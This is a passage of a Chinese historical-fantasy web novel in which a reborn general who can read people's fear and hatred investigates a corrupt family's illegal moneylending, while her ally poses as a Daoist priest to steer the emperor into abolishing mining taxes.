“已经让人盯着他们了,平日接触不到什么。其中一个杂役不太安分,总想往书房附近凑,小桃找了个偷东西的借口赶出去。可若都处理掉,未免太显眼。”
这些人和缇骑司并不是一条线,而楚指挥使一向很乐意看内侍省的热闹,于是揶揄道:“这么快就被发现,看来内廷那些探子也不怎么样。”
其实不能怪他们。萧时运腹诽。叫下人来训话,这几位的恐惧值在一群个位数里彰明较著,简直是把“我是内鬼”明晃晃写在头上。
她真是太喜欢这个重生福利了。
不止捡盟友,抓身边的小鬼也格外好用。
“我估计要在南平待一段时间,京城这边,就麻烦楚大人盯着了。”萧时运想了想,问,“能不能把秦错借我用用?”
得到楚庭肯定的答复,她随意伸了个懒腰:“我该去找沈怀月了。楚大人得空去一趟东巷废庙旁的小院,筠筠在那边等你。”
京城。闻弦坊。
萧时运到闻弦坊时,沈怀月已在包厢内,依然是娉婷窈窕的温良,只是比起珠翠楼那日,更多出几分惶然的憔悴。萧将军瞥了眼她头顶的黑字,想,月余未见,沈姑娘的心事又重了。
“沈小姐别紧张。”她看着添茶的小二退出包厢,散漫笑了笑,“我今日见你,是有件事拿不定主意,想问问沈小姐的意见。”
“将军客气了。”沈怀月怯怯看着眼前人,“民女不过寻常布衣,如何能置喙将军的决定。”
“我不喜欢绕圈子,所以我只问你一句话。”萧时运低眼,看向杯中错落的影,茶汤清亮,盛下波澜无兴的平直,“沈小姐真的想嫁给崔效吗?”
沈怀月静了片刻,垂眸道:“我知道崔故做错了事,但崔家三郎与此案无关。三郎是民女认定的夫君,民女无论如何,都不会背弃他。”
萧时运:……
如果不是看到沈姑娘头顶的数字,她大概会以为自己遇见极品恋爱脑了。
头顶的黑字一路上跳到七十边缘,还能讲得如此坦荡坚定,楚楚动人。沈家大小姐这逢场作戏的本事,确实让萧将军佩服。
不过红字纹丝未动。
怕成这样,却没有恨?
是崔家三郎真给沈怀月灌了什么迷魂汤,还是……
“沈小姐的真心的确令我意外。”萧时运轻飘飘笑了一声,“可沈小姐有没有想过,你这份真心,会害死崔家?”
沈怀月惊疑起身,险些打翻手边的杯盏:“将军这话什么意思?”
“是平川和将军说了什么吗?”她急切问,“崔家出了什么事?”
萧时运玩味盯着眼前人头顶的数字看了一会儿,笑:“随便说说罢了,沈小姐不必介怀。”
她示意青枝把东西递给沈怀月,那双幽深的凤眸里祝福诚恳真挚,方才话中锋芒一现的杀机,仿佛只是沈怀月的错觉。
“既然沈小姐对崔公子一往情深,那我便祝沈小姐来日成亲,能鸾凤和鸣,白首同归。”
沈怀月迟疑看着盒子里那对漆金鸳鸯配,声音不由抬高几分:“将军能否明言,崔家究竟惹了什么麻烦。”
“纵然崔故伤人有罪,可官府明鉴,总不该让一家子人都为了他偿命吧。”
萧时运注视着沈怀月泪光凄惶的忧惧,端茶与她笑:“沈小姐若真想知道,不如回去问问你的好弟弟。”
沈姑娘仍想追问,却见萧时运无动于衷低眼,身边侍女再度开口送客,她自知纠缠无益,也实在不敢与萧将军有冲突,只得让丫鬟收了东西,暂且作罢。
待沈怀月离开,青枝重新关好门,困惑问:“小姐怎么忽
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然让她走了?”
“沈怀月知道信王对崔家动了杀心。”萧时运语气听不出什么情绪,“再问下去她未必有实话,反倒容易打草惊蛇。”
她说崔家会出事的时候,沈大小姐的恐惧的确演的不错,可惜头顶的黑字毫无变化,全然对不上她的情绪。
真有意思,该害怕的时候,沈姑娘倒是不怕了。
可一直纠缠着沈怀月的那份恐惧,到底是什么?
沈小姐对自己好弟弟正在做的事,又知道多少呢?
她这样想着,起身对青枝说:“先回去吧,有些事,估计南平会给我们答案。”
两人出了闻弦坊,正要上马车,青枝忽然看向街角:“小姐,沈姑娘是和谁在说话?”
萧时运顺着青枝的视线看过去,街角檐下风帘遮去其中一人的面容,不过看衣饰,的确是刚与她们在闻弦坊别过的沈怀月。
而她身边那个脸色不太好的姑娘,先前在珠翠楼见过,是与萧时运说崔家二公子抢丫鬟打死人的那位。
小桃后来问过,她是珠翠楼老板的女儿,随母亲姓,叫薛枕云。薛姑娘爱笑,人也善谈,平日在店里帮忙,颇受夫人小姐们的喜欢。
萧时运想起那日薛枕云见沈怀月时的欣喜,两人大概私交不错。
不过看这会儿薛姑娘的表情,她们正在说的,大约不是什么轻快的闺阁闲话。
自己才见完沈怀月,便有人匆匆找过来,又是先前的熟面孔,是不是有点太巧了。
萧时运思忖片刻,吩咐车夫先回去,随意带青枝在街市逛了逛。待沈怀月和薛枕云各自离开,对侍女道:“你跟着沈怀月。”
她则到了珠翠楼对面的茶肆二楼。
薛姑娘和沈怀月分别后回了铺子,大约过了三刻,青枝来寻萧时运,讲沈怀月径直回了家,她翻进院子看了看,沈小姐和丫鬟在理丝线,似乎没有要再出门的意思。
萧时运正听青枝说话,余光瞥见秦错上楼,于是略抬了一下手。
“薛枕云从后巷雇了辆马车,往城门方向去了。”
她要出城?萧时运和青枝对视一眼,对秦错道:“你去珠翠楼打听打听,薛姑娘干什么去了。”
“啊?”
秦错看着眼前两个姑娘迟疑半晌。
“我吗?”
“薛掌柜见过我,青枝会跟我外出交际,也不适合现在去露脸。”萧时运笑眯眯看他,“只好麻烦秦大人了。”
秦错拗不过两人,只得进了珠翠楼,琳琅的珠玉晃在眼前,秦大人的手足无措倒不似作假。薛掌柜略打量了一下来人,见他穿的是靛青棉布圆领袍和乌皮六合靴,无纹饰,人又年轻,看着蜂腰猿背,朗目疏眉,便当他是才当差的下级武吏,笑:“官人可是给夫人选首饰?”
秦错含糊应了一声:“过几日娘子生辰,她先前说喜欢你们家簪子,我便来看看。”
薛掌柜心下了然,拿了几支京中时兴样式步摇钗钿与他挑,虽不比达官贵人们金玉满头的繁复,却也玲珑精巧,宝饰璀璨。
他仔细看了看,佯装困惑道:“娘子之前提过,店里有个薛姑娘帮她试了枝玉簪,样式很衬她,却没舍得买。不知薛姑娘是否还记得,当日选的是哪支。”
薛掌柜愣了一下,道:“您说的是小女吧。这孩子也真是的,偏偏这时候跑出去了,一时回不来呢。”
“是我来的不巧。”秦错笑了一声,又问,“她今日还会回店里吗?”
“不在呢。”薛掌柜瞥了瞥嘴,忍不住抱怨,“这孩子最近常往沈家跑,方才又去了,说是沈小姐邀她去京郊礼佛,要明日才回来。”
“要我说,沈小姐自己的烦心事已经够多了,她还偏往跟前凑。”
秦错听薛掌柜念叨了一会儿自家女儿的不听话,随意寻了个借口告辞,回茶肆与两人说过情况。
青枝听罢皱眉:“可沈怀月还在家。”
“沈怀月在替薛姑娘遮掩。”萧时运若有所思支着下巴,“只要沈小姐这会儿不在京城被薛掌柜瞧见,好端端的,薛掌柜也不会想到去打听,她们是不是真出门了。”
薛姑娘从后巷出去,大概也是不想让母亲怀疑。
毕竟她去沈宅不至于雇马车。
真有趣。萧将军想。这两个姑娘也藏了秘密呢。
**
*沉香。好像和普通沉香有点不一样,但本质同源。
19. 天物
周秉文执政一十三载,自认明断多大略,外平漠北,内慑群臣,方得如今万川安定百官臣服之盛景。朝堂偶然几声不自量力的吵闹,也很快在天威下缄口。那些邀名射利的悖言如阶下浮尘,微薄渺小,并不值得帝王一哂。
吴应卿上谏时,他只觉那不过是又一个沽名钓誉的狂生,举着为民请命的旗号逼谏君上,实则枉口拔舌,不敬长天,只为换史册上一隙慨叹。
午门前时不时就会打死几个如吴生一般不识好歹的蠢货,弘昌帝连同身侧近侍对此都习以为常,役使太监冲洗掉地上狼藉的污血,吴御史便该和从前那些罪员一样,就此碾作乱葬岗中一泞泥淤,销声匿迹。
可他竟然敢纠缠。
不止吴应卿,连带着曾经那些直言犯上的逆臣,甚至早该枯骨作尘的手下败将,一并死灰复燃,在弘昌帝的梦里为非作歹。
长安宫守卫森严,鬼怪不得近身,便将一早被毁尸灭迹的种种旧物慷慨相赠。除开死鹰,周秉文还见过道永三十七年就被砸碎成齑粉的怀王印信,沾着血的七品官服,昭惠皇后生前佩过的玉蝉,甚至还有不知道哪个倒霉鬼的一节断骨。
从上林苑到长安宫,那些厉鬼活着的时候斗不过他,死后却无端搅得弘昌帝寝食难安,夜夜不得好眠。八卦楼的道士被勒令戴罪立功,日夜不休研究镇魇驱鬼之法,聆音殿僧人通宵诵经超度亡灵,长安宫符咒宝镜悬门,却依然不能阻止众鬼把长安宫当堆房随意丢掷杂物,权作叙旧。
真是岂有此理。
愤怒无济于事,即使尊贵如天子,也躲不过这蛮不讲理的滋扰与作弄。
周秉文很痛苦。
内侍监也很痛苦。
弘昌帝被厉鬼搅得怨气深重,自九月初罢朝,只在君行殿见过几次陆相和六部堂官,如前世一般派了宋孝友去山南赈灾。百官虽因上林苑的异象与吴应卿回魂事惶恐不已,但隔着重重宫墙,尚且能有个遮掩。长安宫伺候的几位内侍监却首当其冲,被迫成为周秉文怒气的宣泄口。王呈笔自然也顾不上追究诏狱那几个人的死活,只和同伴每日祈祷,能否有天神显灵,尽早收了这生事的恶鬼。
不知是宦官们的祈愿感动上天,还是八卦楼聆音殿的做法终于起了效果,总之九月廿四这日,丽妃宋妙静求见长安宫,自言有天物上呈。
帝素好祥瑞,内侍监众人听得这话,匆忙入殿通传。不过一盏茶的时间,李用战战兢兢引丽妃进殿,背躬得似乎都比平日更低些。
丽妃迎着御坐上帝王乌沉沉的审视,收敛起一贯风情万种的调笑,低眼行礼道:“臣妾昨夜做了个梦。”
殿中降真香素烟直上,渺渺笼住殿内从容温平的女声。
“妾在梦里见天地混沌,万物晦暗难辨,似有精邪长啸。妾苦走许久,忽见金光万丈,神威所至处魔瘴皆除,百景清明。一神女宝相庄严,服九色彩翠之衣,乘丹凤御景云*至妾前,言神州王气有损,致鬼怪趁虚而入,为害人间。禁宫诸多祸事,皆起于此。圣母元君不忍妖邪为祸,故遣弟子下凡除之。”
她跪在殿内,将手中的承都盘举至额前:“神女将此物交与臣妾,说将其镇于长安宫正殿,可保一时之安。”
李用正要去接,余光窥见弘昌帝面露不虞,不由止住动作,惴惴等君上的旨意。
然而他静立半刻,竟见君上起身走下御座,亲自拿了那件天物。
盘中承的,是一方九天玄女印。
法印青石勾金,雕成一掌宽层峦叠嶂的危峻,却不显穿凿。周秉文细细看过半晌,面上看不出什么情绪,只问:“保一时之安?”
“皇上恕罪,臣妾愚钝,未能参透神女话中玄机。”丽妃恭谨道,“臣妾接过天物,忽自梦中惊醒,心下疑惑,却见手中真多了此印。事关重大,臣妾不敢欺瞒。”
周秉文注视着手中法印,探询与怀疑在眼底积成阴鸷的影,蛇一样绞过殿内几人的脖颈。然而在这层疑虑之下,又另有一点不足对外人道矣的隐忧。
丽妃无言跪候良久,终于听到身前人开口。
“退下吧。”
自丽妃献印,长安宫再未有异样发生,仿佛先前猖獗的鬼怪真惧了天物神威,不得不还了弘昌帝入夜时的清梦。
可丽妃的话始终令周秉文如鲠在喉。
一时。
弘昌帝看着殿前那方法印,心底又升起几分不悦。
难道这些逆贼还敢卷土重来?
他自道永三十七年登基,四海臣服,为何会王气受损,鬼怪横行?
周秉文不喜欢这种受制于人的煎熬,是以他下令八卦楼设醮扶乩,意图窥测天意。
十五月圆之夜,楼内烛火通明,歌鼓三祝后细尘飞蒙,木盘中逐渐显出一个图样,似是云气密布遮在日前。
常言帝王如日居天,临照万方,扶乩却示乌云蔽日,周秉文瞥见沙上的图案,当即脸色便不太好看。
六位真人察觉到帝心不悦,正鸾接下同伴目光中的惶恐,从容上前:“回禀皇上,此次仙书,乃示昙阳也。”
“说文曰,昙,云布也。九天为乾金之象,性刚好动,可扬兵布阵*。”
“天神所示禁宫辟邪镇魇之法,便在这二字中。”
副鸾怔愣片刻,似是想起什么,说:“京郊西北确有一个昙阳观,只是……”
“只是什么?”
“那道观废弃多年,早断了香火,也不知现下是何情况。”
他一面说,一面悄悄觑了眼正鸾。
好端端的,怎么会提起这样一个地方。
万一昙阳观已坍圮不复存在,他们该如何交差。
为着上林苑的事,已经赔进去陶仲节的命,这可是他们眼下唯一活命的机会了。
正鸾察觉到同伴的抱怨,面上依旧泰然自若:“无论此地是何境况,天神如此指示,想来自有机缘在其中。”
周秉文对李用道:“让楚庭和王忠去看看,现在就去。”
楚指挥使今日虽不当职,但近来长安宫不安宁,为周秉文传召方便,他歇在了朝房。此刻忽然被内侍监叫醒,神情里尚且带点迟钝的困倦,倒也不似平时锋利。楚大人披衣起身,听罢周秉文口谕,迟疑问:“公公可知此观具体方位?”
李用客气道:“八卦楼的真人曾到过此地,他们会为大人引路。”
楚庭于是不再多问,和王忠带了四名值守的百户随两位道士往京郊去。漆黑的夜色泼在头顶,沿途灯火寥落,圆月消隐在云翳后。树影幢幢晃过身侧,不时几声寒鸦凄厉,振翅飞掠林梢。几人走了半个多时辰,其中一位道士开口:“大约就在这附近了。”
一行人穿过田地,见荒路边露出一截断墙,引路的道士勒马,小心翼翼看了眼楚庭和王忠:“大人们要进去看看吗?”
王忠闻言咽了咽口水,看着那塌了半边的院墙和摇摇欲坠的木匾,心底忍不住犯怵。
深夜,荒郊,废观,又是在这么个节骨眼上,任谁也会有忌讳。
可皇命难违
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,他也不想在缇骑司几个人面前露怯,硬着头皮道:“这是自然。若不能在此处寻得天机,岂非辜负了神君仙书。”
楚庭斜乜王忠一眼,懒得跟内侍监的阉人废话,径直骑马进了院子。王忠看着他的背影,只得咬牙跟上。几人过了断墙,还没来得及细看院中情形,忽然听见一声轻笑。
“几位漏夜造访,可是遇上了什么麻烦事?”
出乎周秉文意料,楚庭和王忠在废道观带回了一个女人。
准确说,是一个女道士。
眼前人穿青布直裰,身姿挺拔清俊,此刻立在殿中,也似庭中一丛新竹,平静拱手与周秉文回话:“贫道天台观净明元君座下弟子青阳,奉师命下山历练。”
她抬眼看向御坐上的帝王,周秉文和她对视时才注意到,她双瞳的颜色比一般人浅些,看人时,也就愈发显出剔透的冷意。那双眉眼和弘昌帝偏好的三千佳丽相比太过寡淡,也和他对丽妃梦中神女的期待相去甚远。周秉文的确想过上天会降下一位元君相助,却不该是这样尚且单薄年轻的女道。
然而她接下来的话,却让周秉文一瞬变了脸色。
“圣上传召贫道,可是为宫城厉鬼作祟之事?”
王忠立时跪地磕头:“皇上,奴才什么都没说!”
不等司礼监呈笔再申辩,青阳面无表情道:“自六月起,圣上为鬼魂所缠,至上林苑秋狩,群鬼变本加厉,常于御前为祸,是否如此?”
周秉文眼中的审视又重了几分:“你都知道?”
六月那场惊魂他从未对任何人说起,唯一一个都算不上知情人的陶仲节已死,王忠那日并不在承明宫,更加无从窥知此事。
青阳略微颔首:“贫道亦知其祸源所在。”
她讲完这句话,视线划过御侧的楚庭和两位内侍。周秉文心下了然,示意三人退下,再开口时,语气却似有万钧威慑,沉甸甸压在脊上,杀意深重:“你既说六月便有鬼魂生事,那你可知,上一个失败者,已经在午门抵命赎罪了。”
“陶仲节欺世盗名,自然死不足惜。”青阳漠然低眼,语气听不出什么情绪,“不过贫道虽知其缘由,可是平息祸事的,惟有圣上。”
周秉文闻言眯起眼:“朕?”
“天地与人并生,人君承九州山河之灵气,百川庇佑,是以万物与君为一。然自道永五年起,矿使四出,破坏天下名山大川,灵气毁耗*,亦于王命不利。妖邪见王气有损,便趁虚而入,为祸人间。九天玄母天尊所赠之法印虽能止一时之祸,可九州开凿不止,灵气耗尽,只怕将有大患。”
“放肆!”弘昌帝骤然抬高声音,“妖言惑众,朕立刻便可将你处死。”
青阳从容拱手:“人法地,地法天,天法道,道法自然。*贫道不过据实相告,至于生杀定夺,皆在圣心,贫道自无权置喙。”
周秉文死死盯着眼前人,他的恫吓刺进那双浅琥珀色的眸子里,却似悄无声息没在深潭,波澜无兴。他单方面与青阳对峙良久,愤然掷笔:“既如此,事态平息前,你便闭锁八卦楼,哪里都不准去。”
青阳低眼看向方砖上狼藉的朱红,语气平静。讲。贫道遵旨。
**
*这个服饰描写的出处是正统道藏洞神部谱箓类-墉城集仙录-前蜀-杜光庭撰卷六。
*语出云笈七签
*这里参考的沈鲤传。沈鲤就是这么劝万历的(但没有闹鬼),古人是真信啊。
*语出道德经二十五章
20. 树林里的女人可以捡
弘昌十三年十月,周秉文召回各地矿使,停矿税,自道永时中官直领之矿场悉数止采,与民生息。
并赦免了被吴应卿案牵连的官员。
废止矿税后七日,忽有白鹊落于寝殿前槐树上,青阳趁机进言,矿事止息,山川灵气自复,如今上瑞贺于君前,正应此吉兆。
和陆相楚庭这些臣子不同,周秉文对这个应神谕现身的道士,即使面上百般疑虑试探,心底却难免有敬畏与忌惮。
是以弘昌帝下旨整修昙阳观,授青阳神霄保国振法真人,留于八卦楼为国祝祷。
青阳子就此混入内廷,替代陶仲节,继续招摇撞骗。
百官虽疑心圣上再次着了江湖骗子的道,但矿税得除的恩典在先,兼之梃余威尚在,暂时也没有哪个不长眼的跳出来扫兴。
萧时运看着同僚们的西喜忧交加,忍不住腹诽。周秉文一向自负,若知道自己被一个罪臣女戏耍愚弄,只怕会气疯吧。
是的,所谓神霄保国振法真人,正是她的好谋士苏筠。
筠姑娘得知上林苑的闹鬼传闻后,便与萧时运商议顺水推舟,借神鬼玄说废止矿税。
虽然不太适合再冒险搞什么怀王和昭惠皇后双双回魂的大场面,但趁人不备往长安宫扔点小东西吓唬周秉文,还是做得到的。
毕竟真正的鬼,在弘昌帝心里。
自作孽不可活啊。
而苏筠楚庭丽妃在京城帮周秉文积德的时候,萧时运也没闲着。
她去了趟南平。
往长安宫乱扔杂物确实很好玩,不过更令萧将军心动的,还是成为这座宫殿的主人。
九月末。南平。
京城到南平县快马大约半日,青枝已经在城外函山脚下看好了地,不仅良田肥沃,半山还有个园子,只等萧时运来看过,便可签订地契。
萧时运最初收到消息,实在疑心她的同伴遇到了骗子。
不然这良田、林地和园子,怎会得的如此轻巧,且只有市价的七成。
为此萧将军让秦错去查了查那家商户的底细,原本都做好为民除害的准备,可结果确如青枝所说,那商人生意出了问题急用钱,才悄悄卖了这处田产周转。
去南平这日,萧将军换了件青色无纹饰交领巾服,略作乔装,与青枝在城外汇合。青枝今日穿玉色圆领宽袖衫,旁人只当她们是出游的书生公子。两人在庄子上转了转,位置地况都颇和萧将军心意,青枝于是用一早准备好的假身份,和那商人订立契约完成了交易。
傍晚时,两人在客栈随意点了几样吃食,在大堂一边等小二上菜,一边闲聊。
“崔故的案子,大理寺说案情存疑,刑部量刑失当,请求发回刑部重审。”
“那么多人看见崔故动手打人,证据确凿的事,有什么可重审的?”青枝忍不住皱眉,“那家人也是可怜。她们家原本在西街有个豆腐铺,我昨日路过那铺子,才知他们家姑娘被带走后,铺子不知怎么走了水,一家人竟都没跑出来。”
“大理寺丞召崔家人问话,崔家不服罪,坚称对面先动的手,崔故只是防卫时误伤,而非故意杀人。”萧时有些意外问,“那姑娘家人出事了?”
青枝点点头:“听街坊说,是八月下旬失的火。这几日有人在铺子里修整打扫,大约是谁盘了房契,要重新开张。”
小二将热腾腾的菜羹与切肉上桌,又端来一份炊饼,好奇搭话:“两位客人说的,是西街的豆腐李家?”
“是啊,不知道那姑娘现在怎么样了。”青枝叹气,“崔家如此蛮横,她虽活着,只怕日子也不好过吧。”
小二四下看了看,见周围没有其他客人,小声说:“崔家也为这事烦心呢,那姑娘跑啦。”
“跑了?”萧时运闻言挑眉,“真的假的?”
“骗你干什么。”小二似是不满她的质疑,撇嘴道,“我有个表亲在崔家帮工,说是月前人就不见了。这案子还没平,又跑了人,崔老太太气得差点没背过气去。”
“先前闹出这么大动静,崔家如今也不敢再声张,只派人偷偷找呢。不过那姑娘跑了得有将近一个月了,估计早没影了。”
说到这里,小二也忍不住惋惜:“豆腐李一家子人都不错,从未和人结过仇,若非借银子治病惹上赵屠户……哎,真是造孽啊。”
掌柜的吆喝小二去厨房帮忙,他于是匆匆抱着托盘离开。
两人吃过饭回到房间,青枝仔细关好门窗,与萧时运道:“街邻说,李家是欠了债还不上,才被债主找上门,要他们用人和铺子抵债。被打死的那位原本是凑了银子,想求他们放过李姑娘。不知怎么,崔故突然过来横插一脚,嚷嚷着李姑娘本来就该归他,让小厮把人拖走,不想对面坚持要赎李姑娘,还嚷崔家仗势欺人,要去京兆府见分晓,崔故就动了手。”
萧时运冷笑:“本来就该归他?姓崔的真是好大的脸。”
“这事确实可疑。”青枝喝了口水,继续讲,“李家的债主是临街的屠户,这人在当地出了名的无赖,明面上和崔家看不出什么关联。
“但卖田的商户提过,崔家确实偷偷在放印子钱。那商人就是因为合作的客商欠了崔家的钱利滚利破了产,连带着他也不能回款,才周转艰难。”
“如果崔家才是屠户背后真正的债主,崔故那句话,倒解释得通了。”萧时运若有所思支着下巴,“眼下崔放不过六品鸿胪寺丞,崔家人就敢嚣张至此,若真让他爬上去,南平又是什么光景,还不好说。”
“他们背后一定有其他人。”青枝接过话头,“那商人暗示过,崔家来头不小,但我再追问,他却无论如何也不肯说。只让我在南平小心,别招惹上崔家。”
狐假虎威的东西。萧时运皮笑肉不笑扯了下嘴角。崔家干得这些事,沈平川知情多少,又在里面掺和了多少。
“听那商人的话,崔家乍富也不过这一两年的时间,小姐觉得,是信王?”
“我们没有证据。”桌上烛芯将尽,萧时运重新移了支蜡烛接上,“但信王要借刀杀人弄死崔放的事,怎么看
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都透着古怪。”
从那夜周惟简和楚庭的对话,小王爷明显查过楚指挥使的底细,估计盯着楚大人有段时间了。
信王到底为什么让楚庭去灭口崔放。
总不能是怕崔大人去告发信王殿下指使他放印子钱吧?
那很热闹了。
这种事确实缺德,传出去名声上难听,倒也不至于让信王伤筋动骨。
且为了天家颜面,周秉文估计把自己好弟弟骂一顿,还得给他平事。
皇上亲弟弟放丨高丨利丨贷,崔放敢冒着九族消消乐的风险拖信王下水,弘昌帝也丢不起这个人啊。
她低眼思忖片刻,对青枝道:“正事要紧,你们先收拾园子,别让崔家察觉到我们在南平。若有什么异样,先递消息给我。”
青枝应下,又笑:“缙州来的人在附近挤了些日子了,他们可盼着园子空出来呢。”
她这次从西北又带了些人回来,有几位伪装成下人进了云骑都尉府,但大部分还是以客商的身份留在南平和隔壁两城。
“眼下他们算是如愿了。”萧时运也笑,“不过等后面人多了,只怕还是要挤一阵子。”
第二日上午,萧时运和青枝又去了函山的园子。函园依山势而建,修得清雅精致,楼阁精巧。两人转过回廊,白墙黛瓦相映间,廊边几株红枫欲燃,倒为这枝叶凋零的深秋添了一抹难得的鲜亮。三个下人在角门边经过,瞧见她们,正要往廊下来,青枝笑道:“且去忙吧,我们不过随意逛逛。”
那商人在园子里留的人不多,除了庄田上的帮工,大多跟着管事回了本家。眼下新进园子的,都是萧将军最信任的亲兵。萧时运见过这些熟人,和青枝从后门上了函山。
“陆明臣来信说,山南的情况很不好,越来越多的灾民往周边逃难。”萧时运遥遥注视着街巷栉比的县城,语气听不出什么情绪,“估计过些日子,会涌进京兆与山南相接的几城。”
“关中的情况也是如此。”青枝叹了口气,“虽有许参议等人竭力救灾,但水灾波及范围太广,道台大人又……”
“陆明臣那边应当快有动作了,他……”
一声凄厉的惨叫打断萧时运的话,她与青枝对视一眼,循声往树林中去。深秋的枯叶在脚下窸窣作响,两人四下找了许久,终于在一个将近两米的冲沟边,看到了躲在断枝后瑟瑟发抖的女子。
“你别怕,我们是附近庄子的人,现在就救你上来。”
青枝伸出手,对面却往角落缩了缩,还努力把脸往枯枝后藏:“我……我没事,你们不用管我。”
很熟悉的声音。
萧时运看着枝杈间露出的半张脸,忍不住皱眉:“薛姑娘,你怎么在这?”
“您认错人了。我……我……”
她径直打断薛枕云毫无意义的废话:“今年七月的珠翠楼,我们见过,我不仅买了三支簪子,还遇上沈小姐来改头面。”
坑底的女子听见萧时运的话,犹豫半晌,怯怯抬头看向两人:“萧将军?”
21. 搭救
萧时运给青枝打了个眼色,顺手揽过薛枕云,带人攀上头顶枝干粗壮的树干,青枝也跃上隔壁的树,抽刀警惕盯着地面。
大约一盏茶的时间,几个短衣杂役打扮的人从树下跑过。薛姑娘紧紧抱着树干,此刻瞧见来人,更是大气都不敢出,头顶黑字乱闪,晃得萧将军都有点无奈。
“真奇怪,明明是往这边跑了,怎么不见了?”
“是不是躲到村里去了?”
“赶紧去看看,三少爷下了死命令,务必抓到人。”
萧时运耐着性子等那几个人跑远,笑眯眯看向薛枕云:“薛姑娘为什么会在这?”
薛姑娘惊魂未定,乍听见她开口,身子猛然抖了一下。她虚虚扶了一下薛姑娘的肩,唇边笑意愈深:“当心些,若从这里掉下去,怕是没有方才毫发无伤的运气了。”
薛枕云战战兢兢转过头,一双杏眼泪汪汪看萧时运:“将军能不能先带民女下去。”
她好怕掉下去。
这么高的地方,为什么这两个人轻易就带她上来了。
萧时运抬手拨开她额前散落的发丝,笑:“不能。”
薛姑娘绝望了。
“别担心,你如果说实话,我带你回京城,保证那些人不能伤你分毫。”萧将军拿掉她发髻上沾的枯叶,字句轻缓,“薛姑娘若不愿说,我也不会勉强你。”
“不过你要自己想办法下去了。”
薛枕云眼看对面真要把她一个人扔在树上,下意识想去抓萧时运的袖子,又不敢放开树干,声音急得带上了哭腔:“你别走!”
“我……我都告诉你。”
她咬唇挣扎片刻,小声讲:“我今日是来岭下庄给刘夫人送首饰,没想到被崔家三少爷看见了。”
“崔效?刚才那些是崔家的下人?”萧时运皱眉,“好端端地,他抓你做什么?”
听那些人的口气,薛姑娘惹得事还不小。
“我……”薛枕云怯怯看了眼地面,“我之前偷偷收留了崔家一个逃奴,被他们发现了,三少爷才派人抓我问话。”
长风穿行过林间,吹得满地枯叶飘摇。萧时运看着她,慢慢收起唇边的笑,语气冷了许多:“我的耐心有限。”
“崔家到底为什么要抓你?”
萧时运瞳色深,此刻略微抬脸,黑白分明的审视里仿佛带了点戾气。薛枕云被那目光盯着,不由打了个寒颤,几乎哭出声来:“我收留的,是……是李姑娘。”
大概担心萧时运不清楚其中利害,她又急忙解释了一句:“崔故就是为了争李姑娘,才当街打死了人。”
“薛姑娘平日常来南平吗?”萧时运饶有趣味盯着她,“李姑娘逃出崔宅,就这么巧,能遇见你?”
薛枕云自知瞒不下去,只得和盘托出:“南平有几位夫人是珠翠楼的熟客,我会来给她们送首饰。但那日帮李姑娘……是沈姐姐的主意。”
“沈姐姐可怜李姑娘的遭遇,所以借着去崔家做客,悄悄放走了她。我则在外面接应,把她送到相熟的大娘家。”
薛枕云略微转头,勉强抬起一根手指,给萧时运指了个方向:“就……就在那边的庄子。那个大娘和李姑娘的母亲是自幼的交情,李家铺子烧了,还好有她愿意收留李姑娘。”
“可没想到……没想到李姑娘被崔家人看到了。崔效派人来找了一次,幸好没被发现。我得知消息,和沈姐姐商量,把人接到了京城。”
“李姑娘现在在哪?”
“在珠翠楼。”薛枕云可怜兮兮看着萧时运,“我偷偷离京接李姑娘,被母亲发现了。”
薛姑娘挨了顿骂,但薛掌柜还是留下了李姑娘。
萧时运想起看见她去找沈怀月的事,问:“你是哪天接李姑娘进京的?”
薛枕云说了个日子,确实是萧时运看见她雇马车出京那天。
想不到是去救人。
萧时运神色缓和了些:“崔效抓你,只是因为这个?”
“真的!”薛枕云用力点头,“求求你了,快带我下去吧。”
“知道了。”萧时运看着她抱在树干的手臂,不由笑了一声,“你抓这么紧,我怎么带你下去。”
两人带薛姑娘回了客栈,薛枕云不会骑马,萧时运算了一下时间,估计马车不能在城门关闭前赶回京城,便让青枝去买些吃食,暂且在南平多留一晚。
薛枕云怯生生站在角落,似乎努力想把自己融进墙里,彻底抹去这不合时宜的存在感。萧时运见状笑了一声:“离那么远干什么,我又不吃人。”
她小心翼翼挪到椅子边,萧时运递了杯茶给她,薛姑娘忙道不敢。萧时运见状也没再勉强,随手将茶杯放在桌上,把店家送来的水果往她面前推了推,语气散漫:“你不用紧张,我在边关待惯了,懒得讲究京城那些虚礼。只要你不动歪心思,我不会为难你。”
薛姑娘跑了半日,此刻也确实累了。她坐下喝了半杯茶,紧张捧着杯子,小声问:“将军为什么来南平。”
萧将军闻言斜乜她一眼:“怎么,薛姑娘要过问朝廷的公务?”
“我……我只是好奇。”薛枕云吓得缩了缩脖子,“若是不能问,将军便当没听到。”
萧时运不置可否,只自顾自剥了个橘子吃。薛姑娘以为萧将军不会再理自己的时候,却听见她问:“崔家做的那些事,沈小姐知道吗?”
她猛然打了个激灵:“不……不知道!”
“真有意思。”萧时运笑,“我还没说什么事呢,薛姑娘怎么就急着否认。”
薛枕云头顶的黑字疯涨,几乎要冲到顶点:“我……我以为将军说的,是崔家放利钱的事。”
萧将军闻言来了兴趣,顺手把剥好的另一半橘子递给她:“你知道崔家放利银?”
“嗯……”薛姑娘咬了一下嘴唇,看起来紧张得很,甚至没注意去接她递过来的东西,“我听母亲和人聊天时提过。”
萧时运索性把东西塞到她手里:“你没告诉沈小姐?”
“母亲警告过我,不许乱说。”薛枕云愣愣盯着那半个橘子沉默了一会儿,小声问,“将军觉得我应该告诉沈姐姐吗?”
“那是你自己的事。
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”萧时运见薛姑娘不吃,也没有再勉强,只把余下几瓣放回盘中,打算一会儿骗青枝尝尝店家这份酸得离谱的热心。她看着身边人,心不在焉笑了笑,又讲,“比起这个,我更好奇,薛姑娘真的知道自己在做什么吗?”
薛枕云一时没明白萧时运的意思,茫然问。将军指什么?
“那小厮的原话是崔效下了死命令抓你。”萧时运兴致缺缺支着下巴,“一个丫鬟不值得崔家如此大动干戈。薛掌柜和京中许多达官贵人都有私交,崔家不至于在这个节骨眼上,为了抓个丫鬟,去伤她的女儿。”
“很显然,你身上有别的秘密,让崔家宁愿再惹一场官司,也要抓住你。”
“我不知道你究竟掺和到什么程度,但如果你在替沈怀月做事,我可以告诉你。”她无动于衷看着薛枕云头顶涨无可涨的黑字,“她会害死你。”
薛枕云抿唇沉默半晌,突然抬高了声音:“沈姐姐没有害我,我是…是自愿帮李姑娘的!”
“若能查到债主和崔家的关联,李姑娘就能去告官,不必再受他们欺负。”
